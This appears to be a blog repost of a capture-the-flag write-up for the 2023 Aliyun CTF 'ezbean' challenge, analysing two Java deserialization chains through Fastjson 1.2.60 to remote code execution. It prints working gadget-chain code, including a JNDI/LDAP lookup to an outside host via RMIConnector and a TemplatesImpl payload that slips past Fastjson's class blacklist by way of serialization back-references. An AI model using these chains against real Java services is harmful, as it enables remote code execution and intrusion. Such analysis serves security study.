Fastjson combined with jdk native deserialization utilization method (Aliyun CTF)

2023 Aliyun CTF ezbean is a CTF java deserialization question. The purpose of the question is to allow contestants to pass a Java native deserialization entry and ultimately achieve RCE. This article makes a detailed analysis of several solutions to the problem, which are mainly divided into two ideas: expected solutions and unexpected solutions. By analyzing the behavior of Fastjson in deserialization, this problem can be solved from two directions.

expected solution

The logic of the question is simple and clear, and the data parameter can be passed in through the /read route for deserialization. The dependencies of the question are springboot and fastjson1.2.60.

package com.ctf.ezser.utils;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class MyObjectInputStream extends ObjectInputStream {

   private static final String[] blacklist = new String[]{
           "java\\.security.*", "java\\.rmi.*",  "com\\.fasterxml.*", "com\\.ctf\\.*",
           "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
   };

   public MyObjectInputStream(InputStream inputStream) throws IOException {
      super(inputStream);
   }

   protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
      if(!contains(cls.getName())) {
         return super.resolveClass(cls);
      } else {
         throw new InvalidClassException("Unexpected serialized class", cls.getName());
      }
   }

   public static boolean contains(String targetValue) {
      for (String forbiddenPackage : blacklist) {
         if (targetValue.matches(forbiddenPackage))
            return true;
      }
      return false;
   }
}

You can see that MyObjectInputStream inherits ObjectInputStream and overrides the resolveClass() method to check the deserialized class.

Combined with the blacklist, it is easy to think of the need for secondary deserialization, but the common starting points for secondary deserialization have been banned. Combined with the Fastjson dependency in pom.xml, consider using Fastjson for deserialization. Combined with the MyBean class given in the question

package com.ctf.ezser.bean;

import java.io.IOException;
import java.io.Serializable;
import javax.management.remote.JMXConnector;

public class MyBean implements Serializable {

   private Object url;
   private Object message;
   private JMXConnector conn;


   public MyBean() {}

   public MyBean(Object url, Object message) {
      this.url = url;
      this.message = message;
   }

   public MyBean(Object url, Object message, JMXConnector conn) {
      this.url = url;
      this.message = message;
      this.conn = conn;
   }

   public String getConnect() throws IOException {
      try {
         this.conn.connect();
         return "success";
      } catch (IOException var2) {
         return "fail";
      }
   }

   public void connect() {}

   public Object getMessage() {
      return this.message;
   }

   public void setMessage(Object message) {
      this.message = message;
   }

   public Object getUrl() {
      return this.url;
   }

   public void setUrl(Object url) {
      this.url = url;
   }
}

The implementation class of the JMXConnector interface only exists RMIConnector in the problem environment. Combined with JMXService, the JNDI query can be triggered when the getConnect() method is called. It is not difficult to think of using Fastjson to call the getter method of Mybean.

Based on the topic, you can think of using javax.management.BadAttributeValueExpException as the starting point for deserialization. This BadAttributeException will call the toString method on its own val attribute during deserialization.

img

Using JSONObject as val is equivalent to calling the toString() method of JSONObejct. When Fastjson<=1.2.48, Fastjson does not implement its own deserialization logic, but when it is higher than 1.2.48, both JSONObject and JSONArray of Fastjson implement their own readObject() method.img

Use your own SecureObjectInputStream to wrap the input stream to get serialized data from it.

img

The resolveClass will call Fastjson's checkAutoType to check whether the deserialized data is legal. RMIConnector and JMXService are not blacklisted in Fastjson 1.2.60, according to AutoType logic

img

Here name is the classname class name. expectClass is null. According to here, autoTypeSupport should be true so that it will not throw an error. However, we actually tried and found that no error was actually reported, but we did not manually turn on autoType. This is because the last parameter we passed in when calling the checkAutoType function is Feature.SupportAutoType.mask, and when we compare, we use feature & Feature.SupportAutoType.mask, where feature is the Feature.SupportAutoType.mask we passed in. This is equivalent to passing in the option to turn on autoType.

img

img

It is true after passing the mask here, which is equivalent to turning on autoTypeSupport.

JSONObject json= new JSONObject();
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://xxx.xxx.xxx.xxx:1389/Tomcat");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
MyBean myBean = new MyBean("a","a", rmiConnector);
json.put("YYY", myBean);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,json);
byte[] code =  serialize(poc);
deserialize(code);

Meeting Exception

exception in thread “main” com.alibaba.fastjson.JSONException: default constructor not found. class javax.management.remote.rmi.RMIConnector at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:516) at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:221)

Reading the JavaBeanInfo logic, you can know that it will try to obtain a parameterless constructor. Neither our RMIConnector nor JMXService has the conditions for a parameterless public constructor, so an error will definitely be reported here. The game card was here at the time, but I later found out after reading WP that I just need to play a few more times. Just deserialize(code); a few times. StrewHat's wp is written because the fastjson constructor is randomly obtained, but this is not the case. Let's take a closer look at why deserializing a few times is enough.img

Exception thrown here

img

Here all the constructors are traversed, looking for the constructor that meets the requirements, but no constructor can be found, so an error is reported. After reading the logic here, it is found that it has nothing to do with the order, because

imgimg

DeclaredCtor will be completely traversed no matter how many times it is run. So why can it be deserialized normally after multiple deserializations? Moving on, in ParserConfig

img

This class is cached before building and stored in a static mapping.

img

During the second deserializationimg

The upper layer code will try to get the class from the cache and return early. I can't walk

In this step of JavaBeanInfo.build, there will be no error that the default constructor cannot be found. Therefore, you only need to type the payload a few more times to successfully rce.

unexpected solution

Master Y4tacker published an article some time ago (https://paper.seebug.org/2055/) about

img

The article mentioned that only lower versions can be used, but in fact higher versions can also be used. This is because later a master proposed that the reference mechanism in the Java serialization mechanism can be used to bypass it.

Simply put, the reason why higher versions cannot be used is because Fastjson's readObject implements its own resolveClass logic and will ban classes in the blacklist, such as TemplatesImpl.

Object tpl = createTemplatesImpl("open -a Calculator.app");
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("gg",tpl);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,jsonObject);

When deserializing, deserialization is prohibited because TemplatesImpl is in fastjson's blacklist.

img

Here our ** idea changes to how to bypass the resolveClass function check. **Through learning the native deserialization process of java, we first look at when java will call resolveClass. After all, there are many data types for deserialization.imgimgimg

That is, only TC_CLASSDESC will call readNonProxyDesc -> resolveClass. Since the thing we are trying to bypass is essentially a class, the options we can choose here are TC_REFERENCE or TC_PROXYCLASSDESC. Let’s first see if we can use a proxy class to bypass it.

img

You can see that reflection is used during the serialization process to determine whether a class is a proxy class. If it is a proxy class, TC_PROXYCLASSDESC is writtenimg

The proxy class will be rebuilt during the deserialization process, which obviously does not work for TemplatesImpl.

img

If you can't get anywhere, you can only consider using TC_REFERENCE during the serialization process.

img

If the cached obj is found in handles, write TC_REFERENCE directly.

img

resolveClass will not be called

In the final POC, the ezBean given in the question was not used.

Object tpl = createTemplatesImpl("open -a Calculator.app");
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("gg",tpl);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,jsonObject);
        HashMap hashMap = new HashMap();
        hashMap.put(tpl,poc);
        byte[] code =  serialize(poc);
        deserialize(code);

The latest CTF question bank [Click to receive]

Summarize

These two solutions are somewhat similar. The expected solution uses Fastjson's caching mechanism to avoid the problem of not being able to find the default constructor and skips the BuildJavaBean link;

The unexpected solution is to take advantage of the incorrect way of processing serialized data in readObject in Fastjson, which causes the serialized object to be cached in the handle and skip resolveClass, thereby not being detected by Fastjson's chekcAutoType blacklist.

CSDN gift package: "Hacker & Network Security Introduction & Advanced Learning Resource Package" free sharing

Guess you like

Origin blog.csdn.net/web22050702/article/details/133350879